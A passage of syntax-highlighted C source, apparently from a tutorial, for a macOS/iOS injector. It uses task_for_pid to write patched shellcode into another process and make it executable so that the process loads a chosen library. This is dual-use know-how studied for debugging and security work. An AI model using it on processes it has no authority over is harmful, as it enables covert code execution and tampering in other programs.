class=\"sh_string\">\"JKLMNOPR\"<\/span>\r\n    <span class=\"sh_string\">\"STUVWXYZ\"<\/span>\r\n    <span class=\"sh_string\">\"!!!!!!!!\"<\/span>\r\n    <span class=\"sh_string\">\"_PTHRDSS\"<\/span>  <span class=\"sh_comment\">\/\/ &lt;-<\/span>\r\n    <span class=\"sh_string\">\"PTHRDEXT\"<\/span>  <span class=\"sh_comment\">\/\/<\/span>\r\n    <span class=\"sh_string\">\"DLOPEN__\"<\/span>  <span class=\"sh_comment\">\/\/ &lt;- <\/span>\r\n    <span class=\"sh_string\">\"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB\"<\/span> \r\n    <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n    <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n    <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n    <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span>\r\n    <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_string\">\"<\/span><span class=\"sh_specialchar\">\\x<\/span><span class=\"sh_string\">00\"<\/span> <span class=\"sh_symbol\">;<\/span>\r\n\r\n<span class=\"sh_preproc\">#endif<\/span>\r\n\r\n<span class=\"sh_type\">int<\/span> <span class=\"sh_function\">inject<\/span><span class=\"sh_symbol\">(<\/span><span class=\"sh_usertype\">pid_t<\/span> pid<span class=\"sh_symbol\">,<\/span> <span class=\"sh_keyword\">const<\/span> <span class=\"sh_type\">char<\/span> <span class=\"sh_symbol\">*<\/span>lib<span class=\"sh_symbol\">)<\/span> <span class=\"sh_cbracket\">{<\/span>\r\n\r\n<span class=\"sh_usertype\">task_t<\/span> remoteTask<span class=\"sh_symbol\">;<\/span>\r\n\r\n<span class=\"sh_keyword\">struct<\/span> <span class=\"sh_classname\">stat<\/span> buf<span class=\"sh_symbol\">;<\/span>\r\n\r\n<span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\">  * First, check we have the library. Otherwise, we won't be able to inject..<\/span>\r\n<span class=\"sh_comment\">  *\/<\/span>\r\n\r\n  <span class=\"sh_type\">int<\/span> rc <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">stat<\/span> <span class=\"sh_symbol\">(<\/span>lib<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>buf<span class=\"sh_symbol\">);<\/span>\r\n\r\n  <span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>rc <span class=\"sh_symbol\">!=<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span>\r\n  <span class=\"sh_cbracket\">{<\/span>\r\n   <span class=\"sh_function\">fprintf<\/span> <span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"Unable to open library file %s (%s) - Cannot inject<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> lib<span class=\"sh_symbol\">,<\/span><span class=\"sh_function\">strerror<\/span> <span class=\"sh_symbol\">(<\/span>errno<span class=\"sh_symbol\">));<\/span>\r\n   <span class=\"sh_comment\">\/\/return (-9);<\/span>\r\n   <span class=\"sh_cbracket\">}<\/span>\r\n\r\n<span class=\"sh_usertype\">mach_error_t<\/span> kr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">;<\/span>\r\n\r\n<span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\">  * Second - the critical part - we need task_for_pid in order to get the task port of the target<\/span>\r\n<span class=\"sh_comment\">  * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're<\/span>\r\n<span class=\"sh_comment\">  * #$%#$%. <\/span>\r\n<span class=\"sh_comment\">  *<\/span>\r\n<span class=\"sh_comment\">  * In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past<\/span>\r\n<span class=\"sh_comment\">  * taskgated, but root access suffices for that.<\/span>\r\n<span class=\"sh_comment\">  *<\/span>\r\n<span class=\"sh_comment\">  *\/<\/span>\r\nkr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">task_for_pid<\/span><span class=\"sh_symbol\">(<\/span><span class=\"sh_function\">mach_task_self<\/span><span class=\"sh_symbol\">(),<\/span> pid<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteTask<span class=\"sh_symbol\">);<\/span>\r\n<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>kr <span class=\"sh_symbol\">!=<\/span> KERN_SUCCESS<span class=\"sh_symbol\">)<\/span> <span class=\"sh_cbracket\">{<\/span>\r\n\r\n\t<span class=\"sh_function\">fprintf<\/span> <span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"Unable to call task_for_pid on pid %d: %s. Cannot continue!<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span>pid<span class=\"sh_symbol\">,<\/span> <span class=\"sh_function\">mach_error_string<\/span><span class=\"sh_symbol\">(<\/span>kr<span class=\"sh_symbol\">));<\/span>\r\n\t<span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(-<\/span><span class=\"sh_number\">1<\/span><span class=\"sh_symbol\">);<\/span>\r\n<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\r\n\r\n \r\n\r\n\r\n<span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\"> * From here on, it's pretty much straightforward -<\/span>\r\n<span class=\"sh_comment\"> * Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated.<\/span>\r\n<span class=\"sh_comment\"> * So, first, stack:<\/span>\r\n<span class=\"sh_comment\"> *\/<\/span>\r\n<span class=\"sh_usertype\">mach_vm_address_t<\/span> remoteStack64 <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>vm_address_t<span class=\"sh_symbol\">)<\/span> NULL<span class=\"sh_symbol\">;<\/span>\r\n<span class=\"sh_usertype\">mach_vm_address_t<\/span> remoteCode64 <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>vm_address_t<span class=\"sh_symbol\">)<\/span> NULL<span class=\"sh_symbol\">;<\/span>\r\nkr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">mach_vm_allocate<\/span><span class=\"sh_symbol\">(<\/span> remoteTask<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteStack64<span class=\"sh_symbol\">,<\/span> STACK_SIZE<span class=\"sh_symbol\">,<\/span> VM_FLAGS_ANYWHERE<span class=\"sh_symbol\">);<\/span>\r\n   \r\n<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>kr <span class=\"sh_symbol\">!=<\/span> KERN_SUCCESS<span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t\t<span class=\"sh_function\">fprintf<\/span><span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span><span class=\"sh_string\">\"Unable to allocate memory for remote stack in thread: Error %s<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_function\">mach_error_string<\/span><span class=\"sh_symbol\">(<\/span>kr<span class=\"sh_symbol\">));<\/span>\r\n\t\t<span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(-<\/span><span class=\"sh_number\">2<\/span><span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n<span class=\"sh_keyword\">else<\/span>\r\n<span class=\"sh_cbracket\">{<\/span>\r\n\r\n\t<span class=\"sh_function\">fprintf<\/span> <span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"Allocated remote stack @0x%llx<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> remoteStack64<span class=\"sh_symbol\">);<\/span>\r\n\r\n<span class=\"sh_cbracket\">}<\/span>\r\n<span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\"> * Then we allocate the memory for the thread<\/span>\r\n<span class=\"sh_comment\"> *\/<\/span>\r\nremoteCode64 <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>vm_address_t<span class=\"sh_symbol\">)<\/span> NULL<span class=\"sh_symbol\">;<\/span>\r\nkr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">mach_vm_allocate<\/span><span class=\"sh_symbol\">(<\/span> remoteTask<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>remoteCode64<span class=\"sh_symbol\">,<\/span> CODE_SIZE<span class=\"sh_symbol\">,<\/span> VM_FLAGS_ANYWHERE <span class=\"sh_symbol\">);<\/span>\r\n\r\n<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>kr <span class=\"sh_symbol\">!=<\/span> KERN_SUCCESS<span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t\t<span class=\"sh_function\">fprintf<\/span><span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span><span class=\"sh_string\">\"Unable to allocate memory for remote code in thread: Error %s<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_function\">mach_error_string<\/span><span class=\"sh_symbol\">(<\/span>kr<span class=\"sh_symbol\">));<\/span>\r\n\t\t<span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(-<\/span><span class=\"sh_number\">2<\/span><span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\r\n \r\n <span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\">   * Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders<\/span>\r\n<span class=\"sh_comment\">   *<\/span>\r\n<span class=\"sh_comment\">   * Since we use the same shared library cache as our victim, meaning we can use memory addresses from<\/span>\r\n<span class=\"sh_comment\">   * OUR address space when we inject..<\/span>\r\n<span class=\"sh_comment\">   *\/<\/span>\r\n\r\n <span class=\"sh_type\">int<\/span> i <span class=\"sh_symbol\">=<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">;<\/span>\r\n <span class=\"sh_type\">char<\/span> <span class=\"sh_symbol\">*<\/span>possiblePatchLocation <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>injectedCode <span class=\"sh_symbol\">);<\/span>\r\n <span class=\"sh_keyword\">for<\/span> <span class=\"sh_symbol\">(<\/span>i <span class=\"sh_symbol\">=<\/span> <span class=\"sh_number\">0<\/span> <span class=\"sh_symbol\">;<\/span> i <span class=\"sh_symbol\">&lt;<\/span> <span class=\"sh_number\">0x100<\/span><span class=\"sh_symbol\">;<\/span> i<span class=\"sh_symbol\">++)<\/span>\r\n  <span class=\"sh_cbracket\">{<\/span>\r\n\r\n\t<span class=\"sh_comment\">\/\/ Patching is crude, but works.<\/span>\r\n  \t<span class=\"sh_comment\">\/\/<\/span>\r\n\t<span class=\"sh_keyword\">extern<\/span> <span class=\"sh_type\">void<\/span> <span class=\"sh_symbol\">*<\/span>_pthread_set_self<span class=\"sh_symbol\">;<\/span>\r\n\tpossiblePatchLocation<span class=\"sh_symbol\">++;<\/span>\r\n\r\n\t\r\n\t<span class=\"sh_usertype\">uint64_t<\/span> addrOfPthreadSetSelf <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">dlsym<\/span> <span class=\"sh_symbol\">(<\/span> RTLD_DEFAULT<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"_pthread_set_self\"<\/span><span class=\"sh_symbol\">);<\/span> <span class=\"sh_comment\">\/\/(uint64_t) _pthread_set_self;<\/span>\r\n\t<span class=\"sh_usertype\">uint64_t<\/span> addrOfPthreadExit <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">dlsym<\/span> <span class=\"sh_symbol\">(<\/span>RTLD_DEFAULT<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"pthread_exit\"<\/span><span class=\"sh_symbol\">);<\/span> <span class=\"sh_comment\">\/\/(uint64_t) _pthread_set_self;<\/span>\r\n        <span class=\"sh_usertype\">uint64_t<\/span> addrOfDlopen <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>uint64_t<span class=\"sh_symbol\">)<\/span> dlopen<span class=\"sh_symbol\">;<\/span>\r\n        <span class=\"sh_usertype\">uint64_t<\/span> addrOfSleep <span class=\"sh_symbol\">=<\/span> <span class=\"sh_symbol\">(<\/span>uint64_t<span class=\"sh_symbol\">)<\/span> sleep<span class=\"sh_symbol\">;<\/span> <span class=\"sh_comment\">\/\/ pthread_exit;<\/span>\r\n\r\n\t<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_function\">memcmp<\/span> <span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"PTHRDEXT\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_number\">8<\/span><span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">==<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t   <span class=\"sh_function\">memcpy<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>addrOfPthreadExit<span class=\"sh_symbol\">,<\/span><span class=\"sh_number\">8<\/span><span class=\"sh_symbol\">);<\/span>\r\n\r\n\t   <span class=\"sh_function\">printf<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_string\">\"Pthread exit  @%llx, %llx<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> addrOfPthreadExit<span class=\"sh_symbol\">,<\/span> pthread_exit<span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\t<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_function\">memcmp<\/span> <span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"_PTHRDSS\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_number\">8<\/span><span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">==<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t   <span class=\"sh_function\">memcpy<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>addrOfPthreadSetSelf<span class=\"sh_symbol\">,<\/span><span class=\"sh_number\">8<\/span><span class=\"sh_symbol\">);<\/span>\r\n\r\n\t   <span class=\"sh_function\">printf<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_string\">\"Pthread set self @%llx<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> addrOfPthreadSetSelf<span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\t<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_function\">memcmp<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"DLOPEN__\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_number\">6<\/span><span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">==<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t   <span class=\"sh_function\">printf<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_string\">\"DLOpen @%llx<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> addrOfDlopen<span class=\"sh_symbol\">);<\/span>\r\n\t   <span class=\"sh_function\">memcpy<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>addrOfDlopen<span class=\"sh_symbol\">,<\/span> <span class=\"sh_keyword\">sizeof<\/span><span class=\"sh_symbol\">(<\/span>uint64_t<span class=\"sh_symbol\">));<\/span>\r\n\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\t<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_function\">memcmp<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"SLEEP___\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_number\">6<\/span><span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">==<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t   <span class=\"sh_function\">printf<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_string\">\"Sleep @%llx<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> addrOfSleep<span class=\"sh_symbol\">);<\/span>\r\n\t   <span class=\"sh_function\">memcpy<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_symbol\">&amp;<\/span>addrOfSleep<span class=\"sh_symbol\">,<\/span> <span class=\"sh_keyword\">sizeof<\/span><span class=\"sh_symbol\">(<\/span>uint64_t<span class=\"sh_symbol\">));<\/span>\r\n\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\t<span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span><span class=\"sh_function\">memcmp<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> <span class=\"sh_string\">\"LIBLIBLIB\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_number\">9<\/span><span class=\"sh_symbol\">)<\/span> <span class=\"sh_symbol\">==<\/span> <span class=\"sh_number\">0<\/span><span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\r\n\t   <span class=\"sh_function\">strcpy<\/span><span class=\"sh_symbol\">(<\/span>possiblePatchLocation<span class=\"sh_symbol\">,<\/span> lib <span class=\"sh_symbol\">);<\/span>\r\n\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\t\r\n\r\n\r\n\r\n\r\n  <span class=\"sh_cbracket\">}<\/span>\r\n\r\n\t<span class=\"sh_comment\">\/**<\/span>\r\n<span class=\"sh_comment\">  \t  * Write the (now patched) code<\/span>\r\n<span class=\"sh_comment\">\t  *\/<\/span>\r\n\tkr <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">mach_vm_write<\/span><span class=\"sh_symbol\">(<\/span>remoteTask<span class=\"sh_symbol\">,<\/span>                   <span class=\"sh_comment\">\/\/ Task port<\/span>\r\n\t                   remoteCode64<span class=\"sh_symbol\">,<\/span>                 <span class=\"sh_comment\">\/\/ Virtual Address (Destination)<\/span>\r\n\t                   <span class=\"sh_symbol\">(<\/span>vm_address_t<span class=\"sh_symbol\">)<\/span> injectedCode<span class=\"sh_symbol\">,<\/span>  <span class=\"sh_comment\">\/\/ Source<\/span>\r\n\t                    <span class=\"sh_number\">0xa9<\/span><span class=\"sh_symbol\">);<\/span>                       <span class=\"sh_comment\">\/\/ Length of the source<\/span>\r\n\r\n\r\n\r\n       <span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>kr <span class=\"sh_symbol\">!=<\/span> KERN_SUCCESS<span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t\t<span class=\"sh_function\">fprintf<\/span><span class=\"sh_symbol\">(<\/span>stderr<span class=\"sh_symbol\">,<\/span><span class=\"sh_string\">\"Unable to write remote thread memory: Error %s<\/span><span class=\"sh_specialchar\">\\n<\/span><span class=\"sh_string\">\"<\/span><span class=\"sh_symbol\">,<\/span> <span class=\"sh_function\">mach_error_string<\/span><span class=\"sh_symbol\">(<\/span>kr<span class=\"sh_symbol\">));<\/span>\r\n\t\t<span class=\"sh_keyword\">return<\/span> <span class=\"sh_symbol\">(-<\/span><span class=\"sh_number\">3<\/span><span class=\"sh_symbol\">);<\/span>\r\n\t<span class=\"sh_cbracket\">}<\/span>\r\n\r\n\r\n        <span class=\"sh_comment\">\/*<\/span>\r\n<span class=\"sh_comment\">\t * Mark code as executable - This also requires a workaround on iOS, btw.<\/span>\r\n<span class=\"sh_comment\">\t *\/<\/span>\r\n\t\r\n        kr  <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">vm_protect<\/span><span class=\"sh_symbol\">(<\/span>remoteTask<span class=\"sh_symbol\">,<\/span> remoteCode64<span class=\"sh_symbol\">,<\/span> <span class=\"sh_number\">0x70<\/span><span class=\"sh_symbol\">,<\/span> FALSE<span class=\"sh_symbol\">,<\/span> VM_PROT_READ <span class=\"sh_symbol\">|<\/span> VM_PROT_EXECUTE<span class=\"sh_symbol\">);<\/span>\r\n\r\n\t<span class=\"sh_comment\">\/*<\/span>\r\n<span class=\"sh_comment\">   \t * Mark stack as writable  - not really necessary <\/span>\r\n<span class=\"sh_comment\">\t *\/<\/span>\r\n\r\n        kr  <span class=\"sh_symbol\">=<\/span> <span class=\"sh_function\">vm_protect<\/span><span class=\"sh_symbol\">(<\/span>remoteTask<span class=\"sh_symbol\">,<\/span> remoteStack64<span class=\"sh_symbol\">,<\/span> STACK_SIZE<span class=\"sh_symbol\">,<\/span> TRUE<span class=\"sh_symbol\">,<\/span> VM_PROT_READ <span class=\"sh_symbol\">|<\/span> VM_PROT_WRITE<span class=\"sh_symbol\">);<\/span>\r\n\t\r\n\r\n        <span class=\"sh_keyword\">if<\/span> <span class=\"sh_symbol\">(<\/span>kr <span class=\"sh_symbol\">!=<\/span> KERN_SUCCESS<span class=\"sh_symbol\">)<\/span>\r\n\t<span class=\"sh_cbracket\">{<\/span>\r\n\t\t<span class=\"sh_function\">fprintf<\/span><span 